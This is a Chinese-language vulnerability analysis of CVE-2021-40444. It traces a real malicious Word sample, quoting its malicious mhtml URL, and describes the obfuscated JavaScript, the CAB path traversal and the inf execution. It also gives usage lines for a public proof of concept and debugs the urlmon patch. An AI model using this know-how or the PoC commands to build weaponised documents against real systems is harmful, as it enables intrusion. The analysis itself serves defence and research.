漏洞分析 | CVE-2021-40444

VSole2021-09-29 06:23:52


前言

随着cve-2021-40444的披露,随机引爆了全球的网络安全,虽然最近微软发布了补丁,但是cve-2021-40444的利用却越发猖狂,本人深入分析了这个漏洞。

0day样本分析

拿到样本的第一时间,便在自己的沙箱环境下面运行了下,并且从网上下载的docx,微软默认会开启保护模式,我这里是本地打开的,基本内容如下,全都是文字内容,基本上没发现什么:

但是在rels的document.xml文件中发现了链接Target="mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html"

可以发现其是指向文件的更新链接

从样本库众获取到mountain.html后,我们打开一看,发现全部都混淆了,基本难辨真假,去混淆也比较简单

因为是js代码,随便找个网上去混淆的试试,比如http://jsnice.org/,将混淆的代码粘贴上去后,一键试下

基本代码的轮廓就有了,它所有的字符串都会采用数组var a0_0x127f经过function a0_0x15ec进行拼接与置换

这就很简单了,我通过普通脚本再一次去混淆:

经过简单的静态分析与调试,基本上就是它会去请求服务器获取一个cab文件,并且会通过执行cpl文件去执行一个inf

然后通过样本库获取到这个cab,初步分析这个cab,发现了其解压路径是../championship.inf,并且标志cafile的大小是0x415c00,cab文件格式[1]对应如下

最后将恶意的url改成我们自己搭建的http server,之后成功复现样本攻击环境,并且捕捉到了样本通过rundll32执行了命令

cve-2021-40444漏洞的分析与利用

cve-2021-40444的poc很快公开在了github[2]上,poc的使用很简单,通过sudo python3 exploit.py host 80开启简单的http server服务器,python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx:

假如我们现在有一个正常的docx,可以通过以下添加稍加修改,就成了可以包含cve-2021-40444漏洞的docx了

cve-2021-40444的补丁对比

通过ProcessMonitor监控我们可以获得其创建和读取cab文件的行为,其调用堆栈如下:

9月14号,微软发布了cve-2021-40444的补丁,经过补丁分析发现,urlmon.dll模块的catDirAndFile对路径验证做了修改,将'/'替换成了'\\',防止路径遍历:

漏洞调试

调试之前,我们首先了解下微软对cab文件的api处理如下https://docs.microsoft.com/en-us/windows/win32/api/fdi/:

这些api包括了对cab文件的解析和读写操作等,urlmon模块通过调用cabinet模块中的这些api来处理cab文件的

首先docx触发get请求后会通过mshtml模块来处理,并且对cab文件的处理将会进入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile这个api开始处理cab文件:

获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通过GetExtnAndBaseFileName去判断文件后缀名是不是cab:

然后通过CreateUniqueCabTempDir创建临时文件夹,比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A,进入api ExtractInfFile后,将会继续调用Extract,在Extract将会第一次调用到FDICreate[3]和FDICopy[4],来获取cab的信息

FDICreate主要是对其他读写api等进行初始化操作:

而FDICopy主要就是提取cab文件的信息了

进入CABINET!FDICopy后将会调用LoginCabinet来提取cab的0x24大小的head信息,比如包括对头部MSCF标志的判断:

之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate分别对应信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE,再一次进入urlmon!fdiNotifyExtract后获取CFFILE file的信息,而对应的标志是0x02:

获取到初始化结构体后将会在urlmon!ExtractInfFile调用urlmon!ExtractOneFile:

而在urlmon!ExtractOneFile中将会给(a4+0x202)赋值结构体lpsz,将会确保在调用urlmon!NeedFile成功返回:

之后将会继续以标志fdintCOPY_FILE(0x02)继续调用urlmon!fdiNotifyExtract,继续调用urlmon!catDirAndFile继续路径字符串格式化,而我们传入的inf路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

最后退出urlmon!catDirAndFile将会在urlmon!fdiNotifyExtract中调用Win32Open:

而在Win32Open中将会调用CreateFileA,以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf创建文件msword.inf,因为路径存在目录遍历问题,所有将会在C:\Users\l\AppData\Local\Temp\msword.inf创建文件:

成功创建msword.inf文件后将会继续成功调用CABINET!FDIGetFile,在CABINET!FDIGetFile中将会以第一个CFDATA data大小数据写入到文件中,之后caFile(实际为解压文件大小)将会减去写入的CFDATA data大小,接着进行比较直到将所有的caFile大小写入,而这里我们的caFile大小是0x415c0000,远远大于实际的CFDATA的总大小,所以将会在调用最后一次CABINET!FDIGetDataBlock获取块的时候失败并退出:

虽然退出了,但不影响实际写入文件的数据,并且因为这个失败将不会在urlmon!DeleteExtractedFiles调用DeleteFileA,因为v2[2]的标志未清0,所以不会删除临时文件,从而我们创建的msword.inf得以保存,并且在后续中可以直接以cpl文件运行C:\Users\l\AppData\Local\Temp\msword.inf

而正常的提取cab文件将会以标志fdintCLOSE_FILE_INFO(0x03)进入,调用urlmon!MarkExtracted,将标志清0:

至此,从获取到cab文件到提取解析,并且触发目录遍历漏洞过程分析完毕。

而网上有大佬有公布以最简洁的方式触发了[5]这个漏洞,并且可以在ie中复现成功。

漏洞防范

对网上来路不明的docx,请不要随意点击,更新最新的微软补丁

漏洞软件
本作品采用《CC 协议》,转载必须注明作者和本文链接
漏洞超出您的想象
2022-07-28 08:15:00
CVE 或软件漏洞仅构成 IT 安全环境中安全风险的一部分。攻击面巨大,存在许多安全风险,必须将其视为软件漏洞,以减少风险暴露并防止大规模网络攻击 软件漏洞是操作系统或应用程序中的一个弱点,攻击者可以利用它来入侵 IT 网络。当公开披露时,这些软件漏洞通常被分配一个 CVE 标识符。CVE 是指漏洞时的一个流行术语,平均每天发现 50 到 60 个 CVE。
从补丁可以认识一个漏洞的触发源。 查看github中的补丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
网络安全漏洞(以下简称“漏洞”)作为信息通信网络中在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,随着经济社会信息化、网络化、数字化和智能化程度的加深,对国家网络安全的影响也日益加剧。世界各主要国家和组织为了切实提升国家网络安全防护能力,围绕漏洞的研究、收集和利用,纷纷建立国家级漏洞通报平台或漏洞数据库。日本于2003年开始建设“日本漏洞通报”(JVN)平台;美国于 2005 年开始建设“
如果过了18个月还没发挥出SBOM的功效,那就得问问还需要做些什么才能实现美国那套网络安全行政令了。
工控安全研究的现状首先工控安全研究的主要动力是国家和工控厂商,国家非常关注这块的安全,因为这个是关乎民生经济的大事。选择挖掘的厂商和目标对一个新人来说,刚开始入门工控漏洞挖掘最开始不要选择国外如西门子,GE这些大厂,这些安全性相对较高,盲目上手容易打击信心。有预算的时候可以进行购买研究。
当前漏洞的数量快速增长,危险级别不断提升。为了有效降低用户面临的风险,应深入研究美国国家电信和信息管理局和 FIRST(公共漏洞披露平台的管理者)颁布的《漏洞多方协同披露指南与实践》,从机制、举措方面总结指南与实践在不同情况下对漏洞协同披露的流程,归纳产生的原因及有效的应对措施,并结合我国的实际情况提出相应建议。
生成一个SBOM简单,但要生成一个既全面又准确的SBOM却不是一件容易的事。在2023年的现在,软件在各行各业中都扮演着重要角色。
管理员角色对于保护网络免受攻击至关重要,需要配备专门人员来保护网络上的设备、应用程序和信息。应在网络边界实施多层防御,以抵御外部威胁,监控和限制出入流量。在整个网络中部署多层下一代防火墙,限制出入流量,检查网络区域之间的所有内部活动。NAC方案可防止未授权物理连接,监控网络上已授权的物理连接。为防护这些漏洞,管理员应禁用所有不必要的功能,并对流向VPN网关的流量采用严格的流量过滤规则。
首次将内存安全纳入法律
VSole
网络安全专家